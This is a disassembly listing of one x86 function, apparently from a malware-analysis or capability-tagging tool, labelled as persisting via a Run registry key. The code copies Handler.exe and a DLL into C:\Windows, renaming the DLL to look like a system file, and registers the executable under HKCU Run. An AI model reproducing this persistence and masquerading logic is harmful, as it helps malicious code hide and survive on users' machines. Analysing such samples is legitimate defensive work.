Function at 0x10001ce0
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001c1bc
mov eax, dword fs:[0]
push eax
sub esp, 0x338
mov eax, dword [0x1002c068]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0xb
push str.Handler.exe
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
call fcn.10003fd0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x58]
push 0x16
push str.C:WindowsHandler.exe
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
call fcn.10003fd0
push 0xb8
lea eax, [ebp - 0x340]
mov byte [ebp - 4], 1
push 0
push eax
call fcn.10007cd0
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x340]
call fcn.10002590
push 0xb0
lea eax, [ebp - 0x1d0]
mov byte [ebp - 4], 2
push 0
push eax
call fcn.10007cd0
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x1d0]
call fcn.10002480
lea eax, [ebp - 0x330]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x1d0]
call fcn.100030d0
lea ecx, [ebp - 0x330]
call fcn.10003e20
test eax, eax
jne 0x10001df2
mov eax, dword [ebp - 0x340]
lea ecx, [ebp - 0x340]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10001b10
lea ecx, [ebp - 0x1cc]
call fcn.10003e20
test eax, eax
jne 0x10001e2c
mov eax, dword [ebp - 0x1d0]
lea ecx, [ebp - 0x1d0]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10001b10
push 7
push str.win.dll
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
call fcn.10003fd0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x28]
push 0x14
push str.C:Windowsumpdc.dll
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.10003fd0
push 0xb8
lea eax, [ebp - 0x288]
mov byte [ebp - 4], 5
push 0
push eax
call fcn.10007cd0
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x288]
call fcn.10002590
push 0xb0
lea eax, [ebp - 0x120]
mov byte [ebp - 4], 6
push 0
push eax
call fcn.10007cd0
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x120]
call fcn.10002480
lea eax, [ebp - 0x278]
mov byte [ebp - 4], 7
push eax
lea ecx, [ebp - 0x120]
call fcn.100030d0
lea ecx, [ebp - 0x278]
call fcn.10003e20
test eax, eax
jne 0x10001f0e
mov eax, dword [ebp - 0x288]
lea ecx, [ebp - 0x288]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10001b10
lea ecx, [ebp - 0x11c]
call fcn.10003e20
test eax, eax
jne 0x10001f48
mov eax, dword [ebp - 0x120]
lea ecx, [ebp - 0x120]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10001b10
push 0x17
call fcn.10005c9a
mov edi, eax
mov edx, str.C:WindowsHandler.exe
mov esi, edi
add esp, 4
sub esi, edx
nop dword [eax]
mov cl, byte [edx]
lea edx, [edx + 1]
mov byte [esi + edx - 1], cl
test cl, cl
jne 0x10001f60
lea eax, [ebp - 0x344]
push eax
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10001fba
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push edi
push 1
push 0
push str.Handler
push dword [ebp - 0x344]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x344]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x120]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x120]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x124], eax
lea ecx, [ebp - 0x11c]
call fcn.10003020
mov eax, dword [ebp - 0x120]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x120]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x124], eax
lea eax, [ebp - 0xb8]
mov byte [ebp - 4], 8
push eax
mov dword [ebp - 0xb8], vtable.std::ios_base.0
call fcn.10005170
mov eax, dword [ebp - 0x288]
add esp, 4
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x288]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x28c], eax
lea ecx, [ebp - 0x278]
call fcn.10003020
mov eax, dword [ebp - 0x288]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x288]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x28c], eax
lea eax, [ebp - 0x218]
mov byte [ebp - 4], 9
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.10005170
mov byte [ebp - 4], 4
add esp, 4
mov edx, dword [ebp - 0x14]
cmp edx, 0x10
jb 0x100020de
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100020d4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100022b3
push edx
push ecx
call fcn.10005c34
add esp, 8
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
cmp edx, 0x10
jb 0x10002128
mov ecx, dword [ebp - 0x40]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1000211e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100022b8
push edx
push ecx
call fcn.10005c34
add esp, 8
mov eax, dword [ebp - 0x1d0]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1d0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x1d4], eax
lea ecx, [ebp - 0x1cc]
call fcn.10003020
mov eax, dword [ebp - 0x1d0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1d0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x1d4], eax
lea eax, [ebp - 0x168]
mov byte [ebp - 4], 0xa
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.10005170
mov eax, dword [ebp - 0x340]
add esp, 4
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x340]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x344], eax
lea ecx, [ebp - 0x330]
call fcn.10003020
mov eax, dword [ebp - 0x340]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x340]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x344], eax
lea eax, [ebp - 0x2d0]
mov byte [ebp - 4], 0xb
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.10005170
mov edx, dword [ebp - 0x44]
add esp, 4
cmp edx, 0x10
jb 0x10002256
mov ecx, dword [ebp - 0x58]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1000224c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100022bd
push edx
push ecx
call fcn.10005c34
add esp, 8
mov edx, dword [ebp - 0x5c]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
cmp edx, 0x10
jb 0x10002298
mov ecx, dword [ebp - 0x70]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1000228e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100022c2
push edx
push ecx
call fcn.10005c34
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10005c23
mov esp, ebp
pop ebp
ret
call fcn.1000a87a
call fcn.1000a87a
call fcn.1000a87a
call fcn.1000a87a
int3